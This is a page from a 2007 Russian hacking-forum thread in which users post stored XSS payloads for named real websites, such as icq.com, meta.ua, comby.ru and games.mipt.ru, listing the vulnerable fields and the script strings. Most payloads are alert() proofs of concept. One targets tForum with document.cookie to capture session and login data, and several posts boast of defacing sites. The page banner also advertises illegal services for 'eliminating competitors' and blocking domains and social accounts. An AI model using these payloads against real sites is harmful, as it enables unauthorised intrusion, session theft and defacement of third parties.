Активные Xss

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Активные Xss

Страница 2 из 54

Последняя »

Опции темы

Поиск в этой теме

Опции просмотра

#11

02.04.2007, 21:55

freddi

Постоянный

Регистрация: 05.07.2006

Сообщений: 458

С нами: 10447337

Репутация: 807

splashblog.com

Блоггер фоток. Заливаем новую фотку. Уязвимо поле "Caption:"

Код:

"><script>alert();</script>

Работает в ие и опере.

#12

03.04.2007, 18:18

n1†R0x

Постоянный

Регистрация: 20.01.2007

Сообщений: 787

С нами: 10160966

Репутация: 1719

http://rock-rus.com.ru/users.php

в регистрации пишем мыло

Код:

blblbl@hek.cc"><script>alert('alert')</script>

#13

04.04.2007, 22:07

freddi

Постоянный

Регистрация: 05.07.2006

Сообщений: 458

С нами: 10447337

Репутация: 807

icq.com

Заходим на форумы или в группы, создаем голосование. Уязвимы поля "Answer..."

Код:

<script>alert(1);</script>

Получилось голосование и теперь, когда кто-либо будет голосовать за пункт с алертом - то будут выскакивать все алерты (дапустим вы поставили алерты на все ансверы)))

Работает в ие и опере.

Последний раз редактировалось freddi; 04.04.2007 в 22:15..

#14

05.04.2007, 23:13

freddi

Постоянный

Регистрация: 05.07.2006

Сообщений: 458

С нами: 10447337

Репутация: 807

meta.ua

Идем в блог, создаем комментарий

Код:

<script>alert(10);</script>

и при ответе на этот коментарий вылезает алерт.

Работает в ие и опере.

#15

05.04.2007, 23:22

freddi

Постоянный

Регистрация: 05.07.2006

Сообщений: 458

С нами: 10447337

Репутация: 807

comby.ru

Везде где можно оставить комментарий:

Код:

<img src=javascript:alert()>

вылезет алерт.

Работает в ие и опере.

Последний раз редактировалось freddi; 05.04.2007 в 23:27..

#16

06.04.2007, 15:49

o3,14um

Участник форума

Регистрация: 16.11.2006

Сообщений: 230

С нами: 10254549

Репутация: 227

http://planeta.solo.by/- геймерский сайт провайдера.

В личку написать:

<img src=fuck onerror=alert(\'xss\')

#17

07.04.2007, 11:01

Horsekiller

Познающий

Регистрация: 22.11.2006

Сообщений: 68

С нами: 10245582

Репутация: 137

tForum <= b0.915
Форум малораспространённый, но всё же.

Активная XSS в поле "Message".

Код:

http://www.target/path/message.php

Вставляем в поле "Message":

Код:

[img]javascript:alert(document.cookie)[/img]

В кукисах сессия, логин.

#18

08.04.2007, 11:36

Isis

Флудер

Регистрация: 20.11.2006

Сообщений: 3,315

С нами: 10248806

Репутация: 2371

Отморозки

=============
Otmorozki.org
=============
Заходим в любую новость пишем комментарий...
Уязвимое поле "тема" ..вот там и пишем наш кодик..

Код:

"><script>alert("Отморозки вас похекале")</script>

Теперь ваша уязвимость ( xss ) будет гулять везде))Даже на главной странице

#19

08.04.2007, 11:39

[loy]

Участник форума

Регистрация: 24.03.2006

Сообщений: 184

С нами: 10596532

Репутация: 72

жесть,зачод

#20

08.04.2007, 11:51

Isis

Флудер

Регистрация: 20.11.2006

Сообщений: 3,315

С нами: 10248806

Репутация: 2371

Warcraft

=============
Games.mipt.ru/wc3/
=============

Уязвимые поля при регистрации:
"Полное имя"
"О пользователе"
"Дом.страница"

Вставляем туда код

Код:

"><script>alert("Mipt \nВас похекале....\nУязвимость на вашем сайте нашел я, Isis \nРеспект всему античату \nА также отдельный респект:\n gemaglabin\n Great\n blackybr\n ettee\n and etc..... Гыгы \n Короче вас похекале :))) ")</script>

И вот пример.....просмотр моего профиля
Isis

Страница 2 из 54

Последняя »

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Xss для новичков	Micr0b	Уязвимости	79	06.07.2018 22:05
Xss	bx_N	Forum for discussion of ANTICHAT	7	11.03.2007 19:17
mylivepage.ru активные XSS	__XT__	Уязвимости	3	23.12.2006 14:31

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход